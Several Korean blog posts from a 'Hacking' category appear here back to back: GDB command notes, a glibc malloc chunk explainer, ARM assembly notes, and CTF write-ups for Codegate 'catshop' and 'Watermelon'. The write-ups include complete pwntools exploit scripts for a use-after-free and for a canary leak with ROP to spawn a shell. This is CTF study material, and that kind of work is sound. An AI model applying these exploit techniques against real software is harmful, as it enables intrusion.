실행
gdb "파일명"

인텔형 어셈블리어로 보기
set disassembly-flavor intel

메인 함수 디스어셈블하기
disas main

브레이크 포인트 걸기
b *main 메인 함수에 브레이크 포인트
b *0x00000000004005bd 특정 주소에 브레이크 포인트
b "숫자" eip로부터 상대적 위치에 브레이크 포인트

브레이크 포인트 삭제
delete
delete "번호"

실행하기
run "args" 처음부터 실행하기
continue 멈춘 부분부터 계속 실행하기
ni 한 스탭 실행 후 멈추기

정보 확인
info reg 레지스터 확인
info reg "레지스터" 특정 레지스터 확인
info break 브레이크 포인트 확인
x/t "메모리 주소" 2진수로 확인하기 
x/o "메모리 주소" 8진수로 확인하기 
x/d "메모리 주소" 10진수로 확인하기 
x/u "메모리 주소" 부호없는 10진수로 확인하기 
x/x "메모리 주소" 16진수로 확인하기 
x/c "메모리 주소" char로 확인하기
x/f "메모리 주소" 부동소수점으로 확인하기
x/s "메모리 주소" 스트링으로 확인하기

x/bx $rsp 1바이트씩 확인하기
x/hx $rsp 2바이트씩 확인하기
x/dx $rsp 4바이트씩 확인하기
x/gx $rsp 8바이트씩 확인하기

실행 중인 프로세스에 어태치
gdb "filename" "pid"
gdb" attach
gdb" detach

'Hacking' 카테고리의 다른 글

GDB  (0) 2019.12.13
CVE-2019-14287 발표 자료  (0) 2019.11.23
malloc  (0) 2019.11.15
[2018codegate]catshop  (0) 2019.11.13
[2016codegate]Watermelon  (0) 2019.11.13
ARM Reversing  (0) 2019.08.04

서울여자대학교 영재원에서 최종 프로젝트로 발표한 자료다.

2019프로젝트.pdf
0.44MB

 

'Hacking' 카테고리의 다른 글

GDB  (0) 2019.12.13
CVE-2019-14287 발표 자료  (0) 2019.11.23
malloc  (0) 2019.11.15
[2018codegate]catshop  (0) 2019.11.13
[2016codegate]Watermelon  (0) 2019.11.13
ARM Reversing  (0) 2019.08.04

chunk = 할당된 메모리



1
2
3
4
5
6
7
8
9
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size/* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links — used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links — used only if free. */
struct malloc_chunk* bk_nextsize;
};
cs


할당된 메모리(chunk)에 대한 정보들로는 prev_size, size, fd, bk, fd_nextsize, bk_nextsize 가 있습니다.


prev_size

prev_size는 이전 chunk가 free 되면 설정되는 값으로, 플래그를 제외한 이전 chunk의 크기 정보가 기록됩니다. 

이 정보를 통해 이전 chunk 의 위치를 쉽게 찾을 수 있습니다. 


size

size에는 현재 chunk의 사이즈가 기록됩니다.

chunk는 8바이트 단위로 정렬되는데, 이때 하위 3비트는 플래그 용도로 쓰입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* size field is or’ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1
 
/* extract inuse bit of previous chunk */
#define prev_inuse(p) ((p)->size & PREV_INUSE)
 
/* size field is or’ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2
 
/* check for mmap()’ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
 
/* size field is or’ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
 
/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
cs


※ PREV_INUSE : 이전 chunk가 사용중일 때 설정되는 플래그

※ IS_MMAPPED : mmap() 함수로 할당된 chunk일 때 설정되는 플래그

※ NON_MAIN_ARENA : 멀티 쓰레드 환경에서 main 이 아닌 쓰레드에서 생성된 메모리 일 때 설정되는 플래그


fd는 forward pointer, bk는 backward pointer 로, chunk 리스트를 관리하기 위해 chunk의 리스트들 중 각각 이전 chunk와 다음 chunk의 주소를 가리킵니다.

'Hacking' 카테고리의 다른 글

GDB  (0) 2019.12.13
CVE-2019-14287 발표 자료  (0) 2019.11.23
malloc  (0) 2019.11.15
[2018codegate]catshop  (0) 2019.11.13
[2016codegate]Watermelon  (0) 2019.11.13
ARM Reversing  (0) 2019.08.04

invalid-file


UAF 취약점이 발생한다. 

fget는 입력 받을 개수 -1 만큼 입력받고 마지막 문자를 NULL로 만들어서 4bytes 주소값을 넣으려면 5만큼 넣어줘야한다. 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
= process('./catshop')
= ELF('./catshop')
 
flag = 0x080488b6
 
p.sendafter(':',p32(1)) # malloc
sleep(0.1)
p.sendafter(':',p32(2)) # free
sleep(0.1)
p.sendafter(':',p32(4)) # malloc
sleep(0.1)
p.sendafter(':',p32(5)) # length
sleep(0.1)
p.sendlineafter(':',p32(flag)) # fget -> \x00
sleep(0.1)
p.sendlineafter(':',p32(3)) # call
 
p.interactive()
 
cs


'Hacking' 카테고리의 다른 글

CVE-2019-14287 발표 자료  (0) 2019.11.23
malloc  (0) 2019.11.15
[2018codegate]catshop  (0) 2019.11.13
[2016codegate]Watermelon  (0) 2019.11.13
ARM Reversing  (0) 2019.08.04
메모리 보호기법 해제  (0) 2018.12.19

invalid-file


이름을 입력하는 곳을 보면 전역변수(bss) 영역에 scanf를 받게 된다.

add, view, modify에 들어가는 인자가 4400만큼 할당받는다.

add함수에서는 어떠한 전역변수 하나가 100인지 비교하고 아니면 곡 추가하고 증가해주는 거 보면 곡의 인덱스인거 같다.

playlist 구조체 : num(4) + music(20) + artist(20)

이러한 구조체가 100개 있는 것이다.


add() : 1byte overflow

view() : playlist view -> view canary

modify() : overflow 


int playlist_struct; // [esp+1Ch] [ebp-113Ch]

unsigned int canary; // [esp+114Ch] [ebp-Ch]

구조체(4400) + canary()


Canary Leak 시나리오

add()로 playlist 100개 채우는데 마지막에 artist만 21개 입력해서 Canary Leak해준다.

view()로 가서 Leak된 Canary를 알아온다.

modify()로 가서 bof 일으키고 Canary 값 맞춰주면서 ROP 해주면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
 
context.log_level = 'debug'
context.arch = 'i386'
 
= process('./watermelon')
libc = ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False)
= ELF('./watermelon')
 
sla = lambda x,y : p.sendlineafter(x,y)
sl = lambda x : p.sendline(x)
sa = lambda x,y : p.sendafter(x,y)
= lambda x : p.send(x)
 
popret = 0x080484d1 # 0x080484d1 : pop ebx ; ret
pop3ret = 0x080495ad # 0x080495ad : pop ebx ; pop edi ; pop ebp ; ret
bss = e.bss()
 
def add():
    sla('\tselect\t|\t\n','1')
    sla('\tmusic\t|\t','A')
    sla('\tartist\t|\t','A')
 
if __name__ == '__main__':
    sla('name : \n','realsung')
    for i in range(99):
        add()
    sla('\tselect\t|\t\n','1')
    sla('\tmusic\t|\t','A')
    sla('\tartist\t|\t','A'*21)
 
    sla('\tselect\t|\t\n','2')
    p.recvuntil('A'*20)
    canary = u32(p.recv(4)) - ord('A')
    log.info('canary : ' + hex(canary))
 
    ########################################
 
    sla('\tselect\t|\t\n','3')
    sla('select number\t|\t\n','100')
    sla('\tmusic\t|\t','B')
 
    # artist(20) + canary(4) + dummy(8) + sfp(4) + ret 
    pay = 'A'*20
    pay += p32(canary)
    pay += 'A'*12
    pay += flat(e.plt['puts'],popret,e.got['puts'])
    pay += flat(e.plt['read'],pop3ret,0,bss,10)
    pay += flat(e.plt['read'],pop3ret,0,e.got['puts'],8)
    pay += flat(e.plt['puts'],'AAAA',bss) 
    sla('\tartist\t|\t',pay)
 
    sla('\tselect\t|\t\n','4')
 
    p.recvuntil('BYE BYE\n\n')
    puts = u32(p.recv(4))
    log.info('puts : ' + hex(puts))
    libc_base = puts - libc.symbols['puts']
    log.info('libc_base : ' + hex(libc_base))
    system = libc_base + libc.symbols['system']
    log.info('system : ' + hex(system))
 
    sl('/bin/sh\x00')
    s(p32(system))
 
p.interactive()
cs


'Hacking' 카테고리의 다른 글

malloc  (0) 2019.11.15
[2018codegate]catshop  (0) 2019.11.13
[2016codegate]Watermelon  (0) 2019.11.13
ARM Reversing  (0) 2019.08.04
메모리 보호기법 해제  (0) 2018.12.19
Volatility Commands  (0) 2018.12.02

ARM Reversing 문제 풀기 위해 좀 정리하려고 한다.

참고 : Reference


Register

R0 ~ R12 : 범용 레지스터 (다목적 레지스터)
R0 : 함수 리턴 값 저장 (EAX 같은 느낌)
R0 ~ R3 : 함수 호출 인자 전달
R13 ~ R15 : 특수 레지스터
R13(SP) : 스택 포인터 : 스택의 맨 위를 가리킴
R14(LR) : 링크 레지스터 : 서브루틴 후에 돌아갈 리턴 주소 저장
R15(PC) : 프로그램 카운터 : 현재 fetch되고 있는 명령어의 주소 - 따라서 현재 실행되는 명령어의 다음다음 주소


CSPR Register

CSPR(Current Program Status Register)

CPSR의 레이아웃은 32비트를 기준으로 8 비트씩, 플래그(Flag) 비트, 상태(Status) 비트, 확장(Extension)비트, 제어(Control)비트로 나뉜다.

N(Negative) : 음수 플래그 (연산 결과가 음수일 경우)
Z(Zero) : 제로 플래그 (연산 결과가 0일 경우, 비교 결과가 같을 경우)
C(Carry) : 캐리 플래그 (연산 결과에서 자리 올림이 발생한 경우)
V(oVerflow) : 오버플로우 플래그 (연산 결과가 오버플로우 난 경우)


Instruction

형식 : <Operation>{<cond>}{S} Rd, Rn, Op2
- Operation : 명령어
- cond : 접미사
- S : CSPR Setting
- Rd(Destination Register) : 목적지 레지스터
- Rn : 레지스터
- 두 번째 OPERAND : 레지스터 or 상수(앞에 #이 붙음)

ex) ADD r0, r1, r2 ; r0 = r1 + r2


접미사

EQ	: Z Set	-> equal
NE	: Z Clear -> not equal
GE	: N equal V -> greater or equal
LT	: N not equal V	-> less than
GT	: Z Clear and (N equal V) -> greater than
LE	: Z Set or (N not equal V) -> less than or equal
S	  : Execution Instruction and CPSR Register Setting

ex) ADDEQ r0, r1, r2 ; if(ZF) r0 = r1 + r2 -> if(r0 == r1+r2){ }


Function Calling

1) 프롤로그 (서브루틴을 호출하기 직전)에 r4 부터 r11 까지 스택에 저장(push)하고 r14(리턴어드레스)를 스택에 저장(push)한다.
2) r0 - r3 중에 함수에 전달할 인자값이 있으면 이것을 r4 - r11 (임의)로 복사한다.
3) 나머지 지역변수들은 r4 - r11 중 남아있는 곳에 할당한다. 
4) 연산을 수행한 후 다른 서브루틴이 있다면 호출한다.
5) r0 에 리턴값(결과)를 저장한다.
6) 에필로그(원래있던 곳으로 복귀)에 스택에서 r4 - r11 을 꺼내고 r15(프로그램 카운터)에서 리턴어드레스(복귀주소)를 꺼낸다.


명령어

산술 연산 (<Operation>{<cond>}{S} Rd, Rn, Op2) 
ADD r0, r1, r2 ; r0 = r1 + r2
SUB r0, r1, r2 ; r0 = r1 - r2
MUL r0, r1, r2 ; r0 = r1 * r2
UMULL r0, r1, r2, r3 ; 부호가 없는 곱하기 r2 * r3 해서 하위 32비트를 r0에, 상위 32비트를 r1에 저장
SMULL r0, r1, r2, r3 ; r2와 r3의 값을 2의 보수 부호 있는 정수로 해석하고 둘을 곱하고 하위 32비트를 r0, 상위 32비트를 r1에 저장
[예제]
SUBNE r1, r2, r3 ; if(!ZF) r1 = r2 - r3
MULEQ r1, r2, r3 ; if(ZF) r1 = r2 * r3


비교 연산 (<Operation>{<cond>} Rn, Op2)
- 비교 연산 결과는 CPSR의 플래그 설정
CMP r0, r1 ; r0 - r1 
TST r0, r1 ; r0 & r2

[예제]
CMP r0 #10 ; r0이 10이면 Zero Flag 0으로 세팅


논리 연산 (<Operation>{<cond>}{S} Rd, Rn, Op2)
AND r0 r1 ; r0 & r1
EOR r0 r1 ; r0 ^ r1
ORR r0 r1 ; r0 | r1

[예제]
AND r0, r1, r2 ; r0 = r1 & r2
EORNE r0, r1, r2 ; if(!ZF) r0 = r1 ^ r2
EORGT r0, r1, r2 ; Greater than r0 = r1 ^ r2

데이터 이동 
- 메모리 접근 불가 (<Operation>{<cond>}{S} Rd, Op2)
MOV r0 r1; r0 <- r1
MVN r0 r1; r0 <~ ~r1

- 메모리 접근 가능 (<Operation>{<cond>}{B, H}{S} Rn, Op2)
* LDR과 STR은 값을 넣는 오퍼랜드 방향이 반대임
LDR r0 r1; r0 = r1(Memory)
STR r0 r1; r1(Memory) = r0

[예제]
MOVEQS r0, r1, LSR #3 ; if(ZF)r0 = (r1 >> 3); CPSR
LDRB r0, [r1], LSL # 2 ; r0 = *(Byte*)r1 << 2
LDR r0, [r1] ; r0 = *r1
LDR r0, 0xdeadbeef ; r0 = *0xdeadbeef
STR r0, [r1, #4] ; *(r1+4) = r0
STR r0, [r1], #4 ; *(r1) = r0 그리고 r1 += 4
LDRB r0, [r1, r2] ; r0 = *(Byete*)(r1+r2)
STRH r0, [r1] ; *(Half Word*)r1 = r0


주소 분기 (<Operation> {<cond>}{S} Label(function))
B operand1 ; Jump operand1
BL operand1, LR ; operand1 함수 호출 LR은 리턴 주소 저장

[예제]
BL _printf ; printf 함수 호출
BL sub_404040 ; sub_404040 함수 호출
B aaaa ; aaaa로 분기 
BEQ success ; 제로 플래그 세팅되어 있으면 success로 분기

베럴 쉬프트 (<Operation> {<cond>}{S} Rd, Rn, Op2, {<Barrel>} Shift)
LSL ; 왼쪽으로 쉬프트, 빈자리 0
LSR ; 오른쪽으로 쉬프트, 빈자리 0
ASL ; 왼쪽으로 쉬프트, 빈자리 부호
ASR; 오른쪽으로 쉬프트, 빈자리 부호

[예제]
MOV r0, r1, LSL #2 ; r0 = r1 << 2
ADD r0, r1, r2, LSL #3 ; r0 = r1 + (r2 << 3)
EOREQ r0, r1, r2, LSR r4 ; if(ZF) r0 = r1 ^ (r2 >> r4)
AND r0, r1, r2 LSR r3 ; r0 = r1 & (r2 >> r3)


Analysis Setting

arm-linux-gnueabi-gcc a.c -o a : ARM Cross Compile

qemu-arm ./a : File Execute

qemu-arm-static -L /usr/arm-linux-gnueabihf ./a : File Execute

GDB

qemu-arm-static -L /usr/arm-linux-gnueabi -g 1234 ./analysis1 : terminal1

gdb-multiarch -q : terminal2

target remote localhost:1234 : terminal2


* ARM Setting *

* 실행 오류시 참고 *

'Hacking' 카테고리의 다른 글

[2018codegate]catshop  (0) 2019.11.13
[2016codegate]Watermelon  (0) 2019.11.13
ARM Reversing  (0) 2019.08.04
메모리 보호기법 해제  (0) 2018.12.19
Volatility Commands  (0) 2018.12.02
메모리포렌식 Volatility  (0) 2018.10.09

+ Recent posts